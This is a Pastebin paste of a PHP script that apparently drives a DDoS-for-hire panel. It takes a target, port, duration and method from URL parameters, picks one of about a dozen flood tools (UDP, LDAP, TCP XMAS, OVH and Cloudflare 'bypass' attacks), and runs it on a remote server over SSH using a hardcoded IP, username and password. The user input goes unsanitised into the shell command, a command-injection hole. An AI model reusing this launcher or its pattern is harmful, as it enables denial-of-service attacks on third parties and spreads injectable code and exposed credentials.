Advertisement
Guest User

Untitled

a guest
Dec 8th, 2019
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(false);
  3. set_time_limit(7200);
  4.  
  5. //start config
  6. $server_ip = "162.255.85.97"; //Change to server IP
  7. $server_pass = "Chocolate3"; //Change to server password
  8. $server_user = "messes"; //Only change this if you're using a user othen then root
  9. //end config
  10. $host = $_GET['target'];
  11. $port = $_GET['port'];
  12. $time = $_GET['time'];
  13. $method = strtoupper($_GET['method']);
  14.  
  15. if ($method == "LDAP") { $command = "./ldap ".$host." ".$port." ".$time; }
  16. if ($method == "UDP") { $command = "perl oreo.pl ".$host." ".$port." 0 ".$time; }
  17. if ($method == "STD") { $command = "./Hex ".$host." ".$port." ".$time; }
  18. if ($method == "ACK") { $command = "./ack ".$host." 0 -1 ".$time; }
  19. if ($method == "XSS-HEX") { $command = "./xsshex ".$host." ".$port." 0 ".$time; }
  20. if ($method == "UDP-MIX") { $command = "./UDPBYPASS ".$host." ".$port." ".$time; }
  21. if ($method == "OVH-DOWN") { $command = "python OVH-CLAP.py ".$host." ".$port." 460 ".$time; }
  22. if ($method == "NFO-BYPASS") { $command = "./nfobypass ".$host." ".$port." ".$time; }
  23. if ($method == "OVH-CRUSH") { $command = "./ungv ".$host." ".$port." 0 ".$time; }
  24. if ($method == "OVH-BYPASS") { $command = "./ovhbypass ".$host." ".$port." 65500 ".$time; }
  25. if ($method == "OVH-LAG") { $command = "./ovh-lag ".$host." ".$port." ".$time; }
  26. if ($method == "TCP") { $command = "python God-TCP ".$host." ".$port." 65500 "; }
  27. if ($method == "HTTP-CLAP") { $command = "node CFBypass.js ".$host." ".$time; }
  28. if ($method == "HTTP-DROP") { $command = "node CFSockets.js ".$host." ".$time; }
  29. if ($method == "CF-BYPASS") { $command = "node CFSockets.js ".$host." ".$time; }
  30. if ($method == "XMAS") { $command = "./tcp-xmas $host 1 100000 $time"; }
  31. if ($method == "STOP") { $command = "pkill $host -f"; }
  32.  
  33. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  34. if(!($con = ssh2_connect($server_ip, 22))){
  35. echo "Error: Connection Issue";
  36. } else {
  37.  
  38. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  39. echo "Error: Bad Login";
  40. } else {
  41.  
  42. if (!($stream = ssh2_exec($con, $command ))) {
  43. echo "Error: Unable to Execute Command\n";
  44. } else {
  45.  
  46. stream_set_blocking($stream, true);
  47. $data = "";
  48. while ($buf = fread($stream,4096)) {
  49. $data .= $buf;
  50. }
  51. echo "Done";
  52. fclose($stream);
  53. }
  54. }
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement